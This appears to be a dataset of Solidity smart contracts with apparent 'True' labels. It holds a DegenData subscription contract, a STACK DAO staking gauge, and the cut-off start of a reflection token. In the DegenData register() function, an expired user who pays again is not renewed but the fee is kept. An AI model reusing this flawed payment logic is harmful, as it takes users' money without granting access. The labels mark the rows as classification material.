~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
@Title DegenData Pro Degen Access Contract.
@Author DegenData.
@Notice DegenData.io access contract.
*/
contract DegenDataAccess {
//StateVariables
address public owner;
uint256 public registrationFee;
address[] public addressList;
//Customer Struct
struct Customer {
bool isPaid;
uint256 expirationDate;
}
//Address to struct mapping for customers
mapping(address => Customer) public UserRegistion;
//@Dev Constructor setting intital owwner set to contract deployer & initializes regestration Fee to .069ETH.
constructor() {
owner = msg.sender;
registrationFee = .069 ether;
}
//@Dev modifier: OnlyOwner requirement for admin functions.
modifier onlyOwner() {
require(msg.sender == owner, "Only Owner Can Perform this function");
_;
}
//fallback
fallback() external payable {
revert();
}
//@dev returns the number customers that have subscribed.
function getCustomerCount() public view returns (uint256) {
return addressList.length;
}
//@dev customer registration function. Checks if customer exist first then adds to customers array. otherwai
function register() public payable {
require(msg.value >= registrationFee, "Insufficient funds sent");
require(
UserRegistion[msg.sender].isPaid == false,
"You already registered you knucklehead"
);
if (UserRegistion[msg.sender].expirationDate == 0) {
addressList.push(msg.sender);
UserRegistion[msg.sender].isPaid = true;
UserRegistion[msg.sender].expirationDate =
block.timestamp +
365 days;
}
if (
UserRegistion[msg.sender].expirationDate > block.timestamp &&
UserRegistion[msg.sender].isPaid == false
) {
UserRegistion[msg.sender].isPaid = true;
UserRegistion[msg.sender].expirationDate =
block.timestamp +
365 days;
}
}
//@dev checks if a user is past their subscription expiration date.
function userPastExpiration(address _address) public view returns (bool) {
if (
block.timestamp > UserRegistion[_address].expirationDate &&
UserRegistion[_address].expirationDate != 0
) {
return true;
}
return false;
}
// ADMIN FUNCTIONS
// @dev sets new `owner` state variable. Granting new owner control to admin functions.
// @param address.New address to be set.
function setNewOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// @dev sets new `registrationFee` state variable. Owner can set access price.
// @param value to set new registration fee. Remember to set value to approiate decimal places. 1 ETH = 1000000000000000000, .069 ETH = 69000000000000000
function setNewRegistrationPrice(uint256 _newFee) public onlyOwner {
registrationFee = _newFee;
}
// @dev Will evaluate if an array of addresses are past their subscription date and set their payment status to false .
// @param array of address.
function resetUserPaidStatus(address[] memory _address) public onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
if (userPastExpiration(_address[i])) {
UserRegistion[_address[i]].isPaid = false;
}
}
}
//@Dev Allow Owner of the contract to withdraw the balances to themselves.
function withdrawToOwner() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
// @Dev Allow Owner of the contract to withdraw a specified amount to a different address.
// @Notice Could be used for funding a DegenDao contract, another dApp, or gitcoin Grant.
function withdrawToAddress(address _recipient, uint256 _amount)
public
onlyOwner
{
payable(_recipient).transfer(_amount);
}
//@Dev Allow owner of the contract to set an address to True in mapping without payment.
function giveAccountAway(address _address) public onlyOwner {
UserRegistion[_address].isPaid = true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-13
*/
// SPDX-License-Identifier: MIT
/*
A simple gauge contract to measure the amount of tokens locked, and reward users in a different token.
This Gauge works for a "sharesOf" based rebalance token.
*/
pragma solidity ^0.6.11;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IFarmTokenV1 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function getSharesForUnderlying(uint256 _amountUnderlying) external view returns (uint256);
function getUnderlyingForShares(uint256 _amountShares) external view returns (uint256);
}
contract GaugeD2_WBTC is IERC20, ReentrancyGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address payable public governance = 0xdD7A75CC6c04031629f13848Bc0D07e89C3961Be; // STACK DAO Council Multisig
address public constant acceptToken = 0x17E9ed51feD2F190D50f5bd4f1a8C9CbCd36162A; // stackToken WBTC rebase token
address public constant STACK = 0xe0955F26515d22E347B17669993FCeFcc73c3a0a; // STACK DAO Token
uint256 public emissionRate = 8403093010475295;
uint256 public depositedShares;
uint256 public constant startBlock = 12234861;
uint256 public endBlock = startBlock + 1190038;
uint256 public lastBlock; // last block the distribution has ran
uint256 public tokensAccrued; // tokens to distribute per weight scaled by 1e18
struct DepositState {
uint256 userShares;
uint256 tokensAccrued;
}
mapping(address => DepositState) public shares;
event Deposit(address indexed from, uint256 amount);
event Withdraw(address indexed to, uint256 amount);
event STACKClaimed(address indexed to, uint256 amount);
// emit mint/burn on deposit/withdraw
event Transfer(address indexed from, address indexed to, uint256 value);
// never emitted, only included here to align with ERC20 spec.
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
}
function setGovernance(address payable _new) external {
require(msg.sender == governance);
governance = _new;
}
function setEmissionRate(uint256 _new) external {
require(msg.sender == governance, "GAUGED2: !governance");
_kick(); // catch up the contract to the current block for old rate
emissionRate = _new;
}
function setEndBlock(uint256 _block) external {
require(msg.sender == governance, "GAUGED2: !governance");
require(block.number <= endBlock, "GAUGED2: distribution already done, must start another");
require(block.number <= _block, "GAUGED2: can't set endBlock to past block");
endBlock = _block;
}
/////////// NOTE: Our gauges now implement mock ERC20 functionality in order to interact nicer with block explorers...
function name() external view returns (string memory){
return string(abi.encodePacked("gauge-", IFarmTokenV1(acceptToken).name()));
}
function symbol() external view returns (string memory){
return string(abi.encodePacked("gauge-", IFarmTokenV1(acceptToken).symbol()));
}
function decimals() external view returns (uint8){
return IFarmTokenV1(acceptToken).decimals();
}
function totalSupply() external override view returns (uint256){
return IFarmTokenV1(acceptToken).getUnderlyingForShares(depositedShares);
}
function balanceOf(address _account) public override view returns (uint256){
return IFarmTokenV1(acceptToken).getUnderlyingForShares(shares[_account].userShares);
}
// transfer tokens, not shares
function transfer(address _recipient, uint256 _amount) external override returns (bool){
// to squelch
_recipient;
_amount;
revert("transfer not implemented. please withdraw first.");
}
function transferFrom(address _sender, address _recipient, uint256 _amount) external override returns (bool){
// to squelch
_sender;
_recipient;
_amount;
revert("transferFrom not implemented. please withdraw first.");
}
// allow tokens, not shares
function allowance(address _owner, address _spender) external override view returns (uint256){
// to squelch
_owner;
_spender;
return 0;
}
// approve tokens, not shares
function approve(address _spender, uint256 _amount) external override returns (bool){
// to squelch
_spender;
_amount;
revert("approve not implemented. please withdraw first.");
}
////////// END MOCK ERC20 FUNCTIONALITY //////////
function deposit(uint256 _amount) nonReentrant external {
require(block.number <= endBlock, "GAUGED2: distribution over");
_claimSTACK(msg.sender);
// trusted contracts
IERC20(acceptToken).safeTransferFrom(msg.sender, address(this), _amount);
uint256 _sharesFor = IFarmTokenV1(acceptToken).getSharesForUnderlying(_amount);
DepositState memory _state = shares[msg.sender];
_state.userShares = _state.userShares.add(_sharesFor);
depositedShares = depositedShares.add(_sharesFor);
emit Deposit(msg.sender, _amount);
emit Transfer(address(0), msg.sender, _amount);
shares[msg.sender] = _state;
}
function withdraw(uint256 _amount) nonReentrant external {
_claimSTACK(msg.sender);
DepositState memory _state = shares[msg.sender];
uint256 _sharesFor = IFarmTokenV1(acceptToken).getSharesForUnderlying(_amount);
require(_sharesFor <= _state.userShares, "GAUGED2: insufficient balance");
_state.userShares = _state.userShares.sub(_sharesFor);
depositedShares = depositedShares.sub(_sharesFor);
emit Withdraw(msg.sender, _amount);
emit Transfer(msg.sender, address(0), _amount);
shares[msg.sender] = _state;
IERC20(acceptToken).safeTransfer(msg.sender, _amount);
}
function claimSTACK() nonReentrant external returns (uint256) {
return _claimSTACK(msg.sender);
}
function _claimSTACK(address _user) internal returns (uint256) {
_kick();
DepositState memory _state = shares[_user];
if (_state.tokensAccrued == tokensAccrued){ // user doesn't have any accrued tokens
return 0;
}
else {
uint256 _tokensAccruedDiff = tokensAccrued.sub(_state.tokensAccrued);
uint256 _tokensGive = _tokensAccruedDiff.mul(_state.userShares).div(1e18);
_state.tokensAccrued = tokensAccrued;
shares[_user] = _state;
// if the guage has enough tokens to grant the user, then send their tokens
// otherwise, don't fail, just log STACK claimed, and a reimbursement can be done via chain events
if (IERC20(STACK).balanceOf(address(this)) >= _tokensGive){
IERC20(STACK).safeTransfer(_user, _tokensGive);
}
// log event
emit STACKClaimed(_user, _tokensGive);
return _tokensGive;
}
}
function _kick() internal {
uint256 _totalDeposited = depositedShares;
// if there are no tokens committed, then don't kick.
if (_totalDeposited == 0){
return;
}
// already done for this block || already did all blocks || not started yet
if (lastBlock == block.number || lastBlock >= endBlock || block.number < startBlock){
return;
}
uint256 _deltaBlock;
// edge case where kick was not called for entire period of blocks.
if (lastBlock <= startBlock && block.number >= endBlock){
_deltaBlock = endBlock.sub(startBlock);
}
// where block.number is past the endBlock
else if (block.number >= endBlock){
_deltaBlock = endBlock.sub(lastBlock);
}
// where last block is before start
else if (lastBlock <= startBlock){
_deltaBlock = block.number.sub(startBlock);
}
// normal case, where we are in the middle of the distribution
else {
_deltaBlock = block.number.sub(lastBlock);
}
uint256 _tokensToAccrue = _deltaBlock.mul(emissionRate);
tokensAccrued = tokensAccrued.add(_tokensToAccrue.mul(1e18).div(_totalDeposited));
// if not allowed to mint it's just like the emission rate = 0. So just update the lastBlock.
// always update last block
lastBlock = block.number;
}
// decentralized rescue function for any stuck tokens, will return to governance
function rescue(address _token, uint256 _amount) nonReentrant external {
require(msg.sender == governance, "GAUGED2: !governance");
if (_token != address(0)){
IERC20(_token).safeTransfer(governance, _amount);
}
else { // if _tokenContract is 0x0, then escape ETH
governance.transfer(_amount);
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
/*
The Golden Bullrun 888, a Frictionless Fortune bringing token!
Telegram: https://t.me/GoldenBullRun888
Twitter: https://twitter.com/888BullOfficial
Website: https://888bull.io/
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
